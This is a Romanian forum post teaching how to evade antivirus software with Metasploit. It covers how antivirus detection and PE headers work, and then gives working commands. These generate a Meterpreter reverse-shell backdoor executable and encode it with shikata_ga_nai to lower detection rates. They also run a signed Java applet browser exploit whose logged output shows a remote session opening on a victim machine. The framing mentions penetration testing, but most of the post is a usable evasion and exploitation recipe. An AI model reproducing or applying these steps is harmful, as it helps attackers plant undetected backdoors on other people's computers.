Jump to content
Wubi

Cum sa eviti antivirusul cu Metasploit

Recommended Posts

Posted (edited)

Nu e o o noutate intrebarea "Cum sa eviti un antivirus?". Userii noi(script-kiddies) sunt nerabdatori sa invete caile prin care sa`si puna keylogger-ele, stealer-ele si RAT-urile. Ma rog, sa presupunem ca o companie te`a angajat in a face o evaluare a vulnerabilitatii unei retele. Acestia iti vor da un "black box", o "cutie neagra" unde sa testezi, doar ca tu nu detii prea multe informatii despre retea. Daca ei folosesc o solutie anti-virus pe acea retea, cand vei incerca sa faci un test, sistemul antivirus il va opri. Asta inseamna ca primul obstacol este evitarea anti-virusului. Este usor sa vorbim de o unealta care poate ascunde orice fisier din "ochii" antivirusului, dar cred ca va fi mult mai eficient sa intelegi povestea din spatele uneltei. Asta vreau sa acoper in topic-ul asta:

  • Cum functioneaza Anti-virusul
  • Care sunt caile, (tehnicile) de evitare a unui Anti-virus
  • Un tutorial Metasploit pentru a evita un anti-virus

Cum functioneaza Anti-virusul

Este foarte important sa discutam mecanismul prin care functioneaza anti-virusul, deoarece daca nu sti cum functioneaza un anti-virus sau cum acesta iti detecteaza virusul, iti vei limita abilitatea sa eviti sau sa pacalesti anti-virusul. Sunt multe compani care isi creaza anti-virusii in propriul lor mod, dar ambele impart acelasi mod de detectare a unui virus:

  • Detectarea pe baza semnaturii
  • Comportament suspicios

Detectarea pe baza de semnatura este cel mai comun, si cea mai folosita tehnica. Un sistem antivirus compara continutul fisierului cu baza lui de date. Partea urata, poate detecta doar virusii cunoscuti. Cealalta metoda este bazata pe monitorizarea activitatii suspicioase. Prin aceasta tehnica antivirusul observa continuu(in timp real) comportamentul unui fisier. Daca orice fisier se suprascrie pe el insusi, si fura date fara permisiunea utilizatorului, atunci acel fisier este tratat ca fiind virus.

Exemplu

Sa presupunem sa avem instalat un anti-virus in computer. Cand iti conectezi USB-ul, sunt doua optiuni:

  • Anti-virusul va detecta automat virusii (bazat pe activitati suspicioase)
  • Vei porni o scanare pe USB si anti-virusul va gasi virusi (Detectarea pe baza semnaturii)

Astfel lucreaza anti-virusul.Va trebui sa discutam despre format-ul fisierului. PE, sau portable executive (executiv portabil) este formatul implicit al fisierului pentru windows binary. Multi dintre virusi si malware se ascund in PE. Probabil te intrebi care este structura unui fisier PE si cum citeste antivirusul semnatura.

+-------------------------------------+ 
| DOS-stub |
+-------------------------------------+
|antet-ul(header-ul) fisierului PE |
+-------------------------------------+
| header optional |
|- - - - - - - - - -- - - - - - - - - |
| |
| directoarele de date |
| |
+-------------------------------------+
| |
| imagine de pagini |
| |
+-------------------------------------+
| |
| sectiunea tabelelor |
| |
+-------------------------------------+
| |
| sectiunea 1 |
| |
+-------------------------------------+
| |
| ... |
| |
+-------------------------------------+
| |
| sectiunea n |
| |
+-------------------------------------+

Asta este structura tipica a unui fisier PE. Fiecare sectiune poate fi divizata(impartita) in mai multe sub-sectiuni. Antetul(headerul) este cea mai importanta sectiune, aceasta contine:

  • Bytii semnaturii
  • Data si ora
  • Imaginea de baza si dimensiunea imaginii
  • Dimensiunea stack reverse
  • Tabelul debug
  • Tabelul Fixup
  • Tabelul de securitate
  • etc

Deci antetul fisierului PE este cel ce contine semnatura si alte valori importante ale oricarui fisier executabil. In semnatura fisierului, primul numar de obicei reprezinta tipul microprocesorului. Microprocesorul tipic este 16-bit, 32-bit, si 64-bit. De exemplu, procesorul 80386 are valoarea, 0x14c.

Sa luam un exemplu al unui backdoor netcat listener, ce are atasat cmd pe port 99 pentru conectarea cu serverul. Facand o mica analiza, putem vedea ca semnatura este situata pe offset-ul E77E.

12141116141.jpg

Acum doar imagineaza`ti importanta semnaturii in orice fisier PE. Sunt destule tool-uri disponibile sa gasesti asta. Daca vrei sa eviti antivirsul atunci va fi nevoie sa modifici semnatura pentru ca antivirusul sa`l trateze ca pe un fisier normal.

Mai jos sunt niste utilitati bazate pe netcat ce au abilitatea sa evite anti-virusul.

  • Cryptcat Project: This is an advanced utility based on netcat and one that uses an encryption technique with the ports of Windows, BSD and Linux.
  • MOCAT backdoor: This one is based on the cryptcat project and works on client and server phenomena, meaning it has two executables: one for windows and the other for Linux. All communications of MOCAT are encrypted.
  • Ncat : Ncat is a wonderful tool that has been designed by the nmap community. It works on both TCP and UDP ports and on Ipv4 as well as Ipv6.

Evitarea unui Anti-Virus - Tutorial Metasploit

Prima parte in discutia noastra s`a concentrat asupra importantei encodarii pentru a evita un anti-virus. Metasploit este o unealta superba cu multe encodere pentru a evita antivirus-urile. Unele dintre encodere sunt bazate pe cod polymorphic (polymorphic virus). Codul Polymorphic schimba semnatura de fiecare data cand infecteaza un fisier nou.

Shikata_ga_nai pare a fi cel mai bun encoder pentru un virus. Fisierul tau evita cu usurinta majoritatea anti-virusurilor. Cea mai buna combinatie sa eviti aproape 85 % din anti-virusi este:

  • Shikata encoding de 5 ori
  • Alpha_Upper encoding de 2 ori
  • Shikata encoding de 5 ori
  • Countdown encoding de 5 ori

In comformitate cu toolkit-ul social engineering, shikata_ga_nai este un foarte bun encoder:

encoding.png

Poti gasi o lista cu encoderele disponibile din metasploit, urmand comenzile de mai jos.

optionsok.png

msfencodel.png

Exemplu fara encoder

Prima demonstratie a fost facuta fara vreun encoder. In cea de`a doua, voi folosi cel mai bun encoder, dupa care vom compara rezultatele celor doua. Primul pas in generarea unui backdoor:

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=1337 X > /root/Desktop/wubi.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LHOST"=>"IP", "LPORT"=>"1337"}
root@bt:~#

wubinoencoded.png

Dupa cum vezi, majoritatea anti-virusurilor au detectat ceva malware in fisier, detection ratio 28 / 40.

Exemplu cu Encoder

In acest exemplu voi folosi un encoder ce ii va permite backdoor-ului sa evite antivirusurile. Sa incepem:

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=1337 X | msfencode -c 1 -e x86/shikata_ga_nai > /root/Desktop/wubi_enc.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LHOST"=>"IP", "LPORT"=>"1337"}
[*] x86/shikata_ga_nai succeeded with size 73831 (iteration=1)

root@bt:~#

wubiencoded.png

Acum cred ca puteti vedea diferenta dintre cele doua fisiere. wubi.exe(fara encoder) / wubi_enc.exe(cu encoder)

Evitarea unui Anti-virus in timpul exploatarii

Acum luand in considerare cealalta poza: acele exploit-uri automatice intampina ceva probleme cand, prin intermediul unui sistem vulnerabil tu esti capabil sa preiei controlul asupra lui, dar un antivirus este pornit si poate atunci sa devina suparator. Un alt exemplu:



msf > use exploit/multi/browser/java_signed_applet
msf exploit(java_signed_applet) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(java_signed_applet) > set LHOST IP
LHOST => IP
msf exploit(java_signed_applet) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on IP:4444

[*] Using URL: http://0.0.0.0:8080/bOX4eN
[*] Local IP: http://IP:8080/bOX4eN
[*] Server started.
msf exploit(java_signed_applet) >
[*] Handling request from IP:39663...
[*] Sending SiteLoader.jar to IP. Waiting for user to click 'accept'...
[*] Sending SiteLoader.jar to IP. Waiting for user to click 'accept'...
[*] Generated executable to drop (37888 bytes).
[*] Compiling applet classes...
[*] Compile completed. Building jar file...
[*] Jar built. Signing...
[*] Jar signed. Ready to send.

Sistemul victimei este Windows, si are pornit antivirusul(AVG), dar acesta nu da nicio sesiune. Chiar daca victima este vulnerabila, atacatorul va esua, din pricina antivirusului.

Acum, voi schimba putin scenariul: metasploit foloseste un template.exe implicit pentru generarea executivelor, si pentru a evita un antivirus, avem nevoie sa folosim un executiv windows personalizat.

Dar despre telnet? Ce port-uri sunt disponibile pentru o conexiune RDP? Pstools este o resursa minunata de toolkit-uri. PsExec se regaseste printre aceste tool-uri. Este o utilitara ce iti permite sa executi programe pe sisteme la distanta:

msf exploit(java_signed_applet) > set Template /tmp/pstools/psexec.exe
Template => /tmp/pstools/psexec.exe
msf exploit(java_signed_applet) > exploit

[*] Exploit running as background job.


[*] Started reverse handler on IP:4444
[*] Using URL: http://0.0.0.0:8080/bOX4eN
[*] Local IP: http://IP:8080/bOX4eN
[*] Server started.

msf exploit(java_signed_applet) >
[*] Handling request from IP:39663...
[*] Sending SiteLoader.jar to IP. Waiting for user to click 'accept'...
[*] Sending SiteLoader.jar to IP. Waiting for user to click 'accept'...
[*] Generated executable to drop (37888 bytes).
[*] Compiling applet classes...
[*] Compile completed. Building jar file...
[*] Jar built. Signing...
[*] Jar signed. Ready to send.
[*] Sending stage (748032 bytes) to IP

[*] Meterpreter session 1 opened (IP:4444 -> IP:5807)

msf exploit(java_signed_applet) > sessions -i 1
[*] Starting interaction with 1...

Concluzie

Sunt cateva tutoriale si tehnici foarte bune pentru a evita un antivirus. Printe acestea sunt ceva cryptere, wrappere si alte unelte ce se gasesc pe internet publucului. Dar descarcarea acestor fisiere de la surse nesigure sau necunoscute poate fi periculos. Unii oameni folosesc aceste tehnici sa ia avantaje din partea celor inocenti, deci atunci cand descarci si instalezi orice fel de fisier, pastreaza in minte faptul ca acolo este o sansa ca sistemul tau sa fie in pericol pentru tot felul de malware si backdoor-uri.

Ultima dar nu cea din urma, niciodata sa nu te increzi in surse necunoscute. Una peste alta, vei deveni urmatoarea victima, chiar daca ai un anti-virus sau nu. Acum ca ai vazut cat de usor este sa`l eviti.

Referinte

Edited by Wubi

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...